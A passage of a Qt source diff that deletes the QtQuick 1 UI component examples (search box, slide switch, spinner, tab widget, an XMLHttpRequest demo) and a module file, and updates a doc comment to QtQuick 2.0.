OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - id: page - width: 500; height: 250 - color: "#edecec" - - MouseArea { - anchors.fill: parent - onClicked: page.focus = false; - } - Column { - anchors { horizontalCenter: parent.horizontalCenter; verticalCenter: parent.verticalCenter } - spacing: 10 - - SearchBox { id: search1; KeyNavigation.tab: search2; KeyNavigation.backtab: search3; focus: true } - SearchBox { id: search2; KeyNavigation.tab: search3; KeyNavigation.backtab: search1 } - SearchBox { id: search3; KeyNavigation.tab: search1; KeyNavigation.backtab: search2 } - } -} diff --git a/examples/declarative/qtquick1/ui-components/searchbox/searchbox.qmlproject b/examples/declarative/qtquick1/ui-components/searchbox/searchbox.qmlproject deleted file mode 100644 index e5a8bf02ca..0000000000 --- a/examples/declarative/qtquick1/ui-components/searchbox/searchbox.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "main.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/ui-components/slideswitch/content/Switch.qml b/examples/declarative/qtquick1/ui-components/slideswitch/content/Switch.qml deleted file mode 100644 index 783309d569..0000000000 --- a/examples/declarative/qtquick1/ui-components/slideswitch/content/Switch.qml +++ /dev/null @@ -1,117 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -import QtQuick 1.0 - -Item { - id: toggleswitch - width: background.width; height: background.height - -//![1] - property bool on: false -//![1] - -//![2] - function toggle() { - if (toggleswitch.state == "on") - toggleswitch.state = "off"; - else - toggleswitch.state = "on"; - } -//![2] - -//![3] - function releaseSwitch() { - if (knob.x == 1) { - if (toggleswitch.state == "off") return; - } - if (knob.x == 78) { - if (toggleswitch.state == "on") return; - } - toggle(); - } -//![3] - -//![4] - Image { - id: background - source: "background.svg" - MouseArea { anchors.fill: parent; onClicked: toggle() } - } -//![4] - -//![5] - Image { - id: knob - x: 1; y: 2 - source: "knob.svg" - - MouseArea { - anchors.fill: parent - drag.target: knob; drag.axis: Drag.XAxis; drag.minimumX: 1; drag.maximumX: 78 - onClicked: toggle() - onReleased: releaseSwitch() - } - } -//![5] - -//![6] - states: [ - State { - name: "on" - PropertyChanges { target: knob; x: 78 } - PropertyChanges { target: toggleswitch; on: true } - }, - State { - name: "off" - PropertyChanges { target: knob; x: 1 } - PropertyChanges { target: toggleswitch; on: false } - } - ] -//![6] - -//![7] - transitions: Transition { - NumberAnimation { properties: "x"; easing.type: Easing.InOutQuad; duration: 200 } - } -//![7] -} -//![0] diff --git a/examples/declarative/qtquick1/ui-components/slideswitch/content/background.svg b/examples/declarative/qtquick1/ui-components/slideswitch/content/background.svg deleted file mode 100644 index f920d3e47a..0000000000 --- a/examples/declarative/qtquick1/ui-components/slideswitch/content/background.svg +++ /dev/null @@ -1,23 +0,0 @@ - - - -]> - - - - - - - - - - - - - - diff --git a/examples/declarative/qtquick1/ui-components/slideswitch/content/knob.svg b/examples/declarative/qtquick1/ui-components/slideswitch/content/knob.svg deleted file mode 100644 index fb6933718e..0000000000 --- a/examples/declarative/qtquick1/ui-components/slideswitch/content/knob.svg +++ /dev/null @@ -1,867 +0,0 @@ - - -image/svg+xml - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/examples/declarative/qtquick1/ui-components/slideswitch/slideswitch.qml b/examples/declarative/qtquick1/ui-components/slideswitch/slideswitch.qml deleted file mode 100644 index 1c613bab4b..0000000000 --- a/examples/declarative/qtquick1/ui-components/slideswitch/slideswitch.qml +++ /dev/null @@ -1,51 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -import "content" - -Rectangle { - color: "white" - width: 400; height: 250 - -//![0] - Switch { anchors.centerIn: parent; on: false } -//![0] -} diff --git a/examples/declarative/qtquick1/ui-components/slideswitch/slideswitch.qmlproject b/examples/declarative/qtquick1/ui-components/slideswitch/slideswitch.qmlproject deleted file mode 100644 index 1288560f55..0000000000 --- a/examples/declarative/qtquick1/ui-components/slideswitch/slideswitch.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "slideswitch.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/ui-components/spinner/content/Spinner.qml b/examples/declarative/qtquick1/ui-components/spinner/content/Spinner.qml deleted file mode 100644 index e1d3290808..0000000000 --- a/examples/declarative/qtquick1/ui-components/spinner/content/Spinner.qml +++ /dev/null @@ -1,70 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Image { - property alias model: view.model - property alias delegate: view.delegate - property alias currentIndex: view.currentIndex - property real itemHeight: 30 - - source: "spinner-bg.png" - clip: true - - PathView { - id: view - anchors.fill: parent - - pathItemCount: height/itemHeight - preferredHighlightBegin: 0.5 - preferredHighlightEnd: 0.5 - highlight: Image { source: "spinner-select.png"; width: view.width; height: itemHeight+4 } - dragMargin: view.width/2 - - path: Path { - startX: view.width/2; startY: -itemHeight/2 - PathLine { x: view.width/2; y: view.pathItemCount*itemHeight + itemHeight } - } - } - - Keys.onDownPressed: view.incrementCurrentIndex() - Keys.onUpPressed: view.decrementCurrentIndex() -} diff --git a/examples/declarative/qtquick1/ui-components/spinner/content/spinner-bg.png b/examples/declarative/qtquick1/ui-components/spinner/content/spinner-bg.png deleted file mode 100644 index b3556f1f9f..0000000000 Binary files a/examples/declarative/qtquick1/ui-components/spinner/content/spinner-bg.png and /dev/null differ diff --git a/examples/declarative/qtquick1/ui-components/spinner/content/spinner-select.png b/examples/declarative/qtquick1/ui-components/spinner/content/spinner-select.png deleted file mode 100644 index 95a17a1fe2..0000000000 Binary files a/examples/declarative/qtquick1/ui-components/spinner/content/spinner-select.png and /dev/null differ diff --git a/examples/declarative/qtquick1/ui-components/spinner/main.qml b/examples/declarative/qtquick1/ui-components/spinner/main.qml deleted file mode 100644 index 5def57b429..0000000000 --- a/examples/declarative/qtquick1/ui-components/spinner/main.qml +++ /dev/null @@ -1,61 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -import "content" - -Rectangle { - width: 240; height: 320 - - Column { - y: 20; x: 20; spacing: 20 - - Spinner { - id: spinner - width: 200; height: 240 - focus: true - model: 20 - itemHeight: 30 - delegate: Text { font.pixelSize: 25; text: index; height: 30 } - } - - Text { text: "Current item index: " + spinner.currentIndex } - } -} diff --git a/examples/declarative/qtquick1/ui-components/spinner/spinner.qmlproject b/examples/declarative/qtquick1/ui-components/spinner/spinner.qmlproject deleted file mode 100644 index e5a8bf02ca..0000000000 --- a/examples/declarative/qtquick1/ui-components/spinner/spinner.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "main.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/ui-components/tabwidget/TabWidget.qml b/examples/declarative/qtquick1/ui-components/tabwidget/TabWidget.qml deleted file mode 100644 index 103aae84fd..0000000000 --- a/examples/declarative/qtquick1/ui-components/tabwidget/TabWidget.qml +++ /dev/null @@ -1,102 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Item { - id: tabWidget - - // Setting the default property to stack.children means any child items - // of the TabWidget are actually added to the 'stack' item's children. - // See the "Property Binding" - // documentation for details on default properties. - default property alias content: stack.children - - property int current: 0 - - onCurrentChanged: setOpacities() - Component.onCompleted: setOpacities() - - function setOpacities() { - for (var i = 0; i < stack.children.length; ++i) { - stack.children[i].opacity = (i == current ? 1 : 0) - } - } - - Row { - id: header - - Repeater { - model: stack.children.length - delegate: Rectangle { - width: tabWidget.width / stack.children.length; height: 36 - - Rectangle { - width: parent.width; height: 1 - anchors { bottom: parent.bottom; bottomMargin: 1 } - color: "#acb2c2" - } - BorderImage { - anchors { fill: parent; leftMargin: 2; topMargin: 5; rightMargin: 1 } - border { left: 7; right: 7 } - source: "tab.png" - visible: tabWidget.current == index - } - Text { - horizontalAlignment: Qt.AlignHCenter; verticalAlignment: Qt.AlignVCenter - anchors.fill: parent - text: stack.children[index].title - elide: Text.ElideRight - font.bold: tabWidget.current == index - } - MouseArea { - anchors.fill: parent - onClicked: tabWidget.current = index - } - } - } - } - - Item { - id: stack - width: tabWidget.width - anchors.top: header.bottom; anchors.bottom: tabWidget.bottom - } -} diff --git a/examples/declarative/qtquick1/ui-components/tabwidget/main.qml b/examples/declarative/qtquick1/ui-components/tabwidget/main.qml deleted file mode 100644 index 1c4863244d..0000000000 --- a/examples/declarative/qtquick1/ui-components/tabwidget/main.qml +++ /dev/null @@ -1,99 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -TabWidget { - id: tabs - width: 640; height: 480 - - Rectangle { - property string title: "Red" - anchors.fill: parent - color: "#e3e3e3" - - Rectangle { - anchors.fill: parent; anchors.margins: 20 - color: "#ff7f7f" - Text { - width: parent.width - 20 - anchors.centerIn: parent; horizontalAlignment: Qt.AlignHCenter - text: "Roses are red" - font.pixelSize: 20 - wrapMode: Text.WordWrap - } - } - } - - Rectangle { - property string title: "Green" - anchors.fill: parent - color: "#e3e3e3" - - Rectangle { - anchors.fill: parent; anchors.margins: 20 - color: "#7fff7f" - Text { - width: parent.width - 20 - anchors.centerIn: parent; horizontalAlignment: Qt.AlignHCenter - text: "Flower stems are green" - font.pixelSize: 20 - wrapMode: Text.WordWrap - } - } - } - - Rectangle { - property string title: "Blue" - anchors.fill: parent; color: "#e3e3e3" - - Rectangle { - anchors.fill: parent; anchors.margins: 20 - color: "#7f7fff" - Text { - width: parent.width - 20 - anchors.centerIn: parent; horizontalAlignment: Qt.AlignHCenter - text: "Violets are blue" - font.pixelSize: 20 - wrapMode: Text.WordWrap - } - } - } -} diff --git a/examples/declarative/qtquick1/ui-components/tabwidget/tab.png b/examples/declarative/qtquick1/ui-components/tabwidget/tab.png deleted file mode 100644 index ad8021605f..0000000000 Binary files a/examples/declarative/qtquick1/ui-components/tabwidget/tab.png and /dev/null differ diff --git a/examples/declarative/qtquick1/ui-components/tabwidget/tabwidget.qmlproject b/examples/declarative/qtquick1/ui-components/tabwidget/tabwidget.qmlproject deleted file mode 100644 index e5a8bf02ca..0000000000 --- a/examples/declarative/qtquick1/ui-components/tabwidget/tabwidget.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "main.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/ui-components/ui-components.qmlproject b/examples/declarative/qtquick1/ui-components/ui-components.qmlproject deleted file mode 100644 index 2bb4016996..0000000000 --- a/examples/declarative/qtquick1/ui-components/ui-components.qmlproject +++ /dev/null @@ -1,14 +0,0 @@ -import QmlProject 1.0 - -Project { - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/xml/xml.qmlproject b/examples/declarative/qtquick1/xml/xml.qmlproject deleted file mode 100644 index 6fb937c2b9..0000000000 --- a/examples/declarative/qtquick1/xml/xml.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "xmlhttprequest/xmlhttprequest-example.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/xml/xmlhttprequest/data.xml b/examples/declarative/qtquick1/xml/xmlhttprequest/data.xml deleted file mode 100644 index 8b7f1e116d..0000000000 --- a/examples/declarative/qtquick1/xml/xmlhttprequest/data.xml +++ /dev/null @@ -1,5 +0,0 @@ - - - - - diff --git a/examples/declarative/qtquick1/xml/xmlhttprequest/xmlhttprequest-example.qml b/examples/declarative/qtquick1/xml/xmlhttprequest/xmlhttprequest-example.qml deleted file mode 100644 index 355a8c51c8..0000000000 --- a/examples/declarative/qtquick1/xml/xmlhttprequest/xmlhttprequest-example.qml +++ /dev/null @@ -1,95 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - width: 350; height: 400 - - function showRequestInfo(text) { - log.text = log.text + "\n" + text - console.log(text) - } - - Text { id: log; anchors.fill: parent; anchors.margins: 10 } - - Rectangle { - id: button - anchors.horizontalCenter: parent.horizontalCenter; anchors.bottom: parent.bottom; anchors.margins: 10 - width: buttonText.width + 10; height: buttonText.height + 10 - border.width: mouseArea.pressed ? 2 : 1 - radius : 5; smooth: true - - Text { id: buttonText; anchors.centerIn: parent; text: "Request data.xml" } - - MouseArea { - id: mouseArea - anchors.fill: parent - onClicked: { - log.text = "" - console.log("\n") - - var doc = new XMLHttpRequest(); - doc.onreadystatechange = function() { - if (doc.readyState == XMLHttpRequest.HEADERS_RECEIVED) { - showRequestInfo("Headers -->"); - showRequestInfo(doc.getAllResponseHeaders ()); - showRequestInfo("Last modified -->"); - showRequestInfo(doc.getResponseHeader ("Last-Modified")); - - } else if (doc.readyState == XMLHttpRequest.DONE) { - var a = doc.responseXML.documentElement; - for (var ii = 0; ii < a.childNodes.length; ++ii) { - showRequestInfo(a.childNodes[ii].nodeName); - } - showRequestInfo("Headers -->"); - showRequestInfo(doc.getAllResponseHeaders ()); - showRequestInfo("Last modified -->"); - showRequestInfo(doc.getResponseHeader ("Last-Modified")); - } - } - - doc.open("GET", "data.xml"); - doc.send(); - } - } - } -} - diff --git a/examples/declarative/qtquick1/xml/xmlhttprequest/xmlhttprequest.qmlproject b/examples/declarative/qtquick1/xml/xmlhttprequest/xmlhttprequest.qmlproject deleted file mode 100644 index 9bd4920371..0000000000 --- a/examples/declarative/qtquick1/xml/xmlhttprequest/xmlhttprequest.qmlproject +++ /dev/null @@ -1,19 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "xmlhttprequest-example.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } - Files { - paths: ["data.xml"] - } -} diff --git a/modules/qt_qtquick1.pri b/modules/qt_qtquick1.pri deleted file mode 100644 index 70a290637b..0000000000 --- a/modules/qt_qtquick1.pri +++ /dev/null @@ -1,17 +0,0 @@ -QT.qtquick1.VERSION = 5.0.0 -QT.qtquick1.MAJOR_VERSION = 5 -QT.qtquick1.MINOR_VERSION = 0 -QT.qtquick1.PATCH_VERSION = 0 - -QT.qtquick1.name = QtQuick1 -QT.qtquick1.bins = $$QT_MODULE_BIN_BASE -QT.qtquick1.includes = $$QT_MODULE_INCLUDE_BASE $$QT_MODULE_INCLUDE_BASE/QtQuick1 -QT.qtquick1.private_includes = $$QT_MODULE_INCLUDE_BASE/QtQuick1/$$QT.qtquick1.VERSION -QT.qtquick1.sources = $$QT_MODULE_BASE/src/qtquick1 -QT.qtquick1.libs = $$QT_MODULE_LIB_BASE -QT.qtquick1.plugins = $$QT_MODULE_PLUGIN_BASE -QT.qtquick1.imports = $$QT_MODULE_IMPORT_BASE -QT.qtquick1.depends = declarative -QT.qtquick1.DEFINES = QT_QTQUICK1_LIB - -QT_CONFIG += qtquick1 diff --git a/src/declarative/qml/qdeclarativecomponent.cpp b/src/declarative/qml/qdeclarativecomponent.cpp index 14e045ce4a..a932eb724e 100644 --- a/src/declarative/qml/qdeclarativecomponent.cpp +++ b/src/declarative/qml/qdeclarativecomponent.cpp @@ -121,7 +121,7 @@ static inline QString buildTypeNameForDebug(const QMetaObject *metaObject) For example, if there is a \c main.qml file like this: \qml - import QtQuick 1.0 + import QtQuick 2.0 Item { width: 200 diff --git a/src/declarative/qml/qdeclarativecontext.cpp b/src/declarative/qml/qdeclarativecontext.cpp index 709af9e7b9..3f838d5fd1 100644 --- a/src/declarative/qml/qdeclarativecontext.cpp +++ b/src/declarative/qml/qdeclarativecontext.cpp @@ 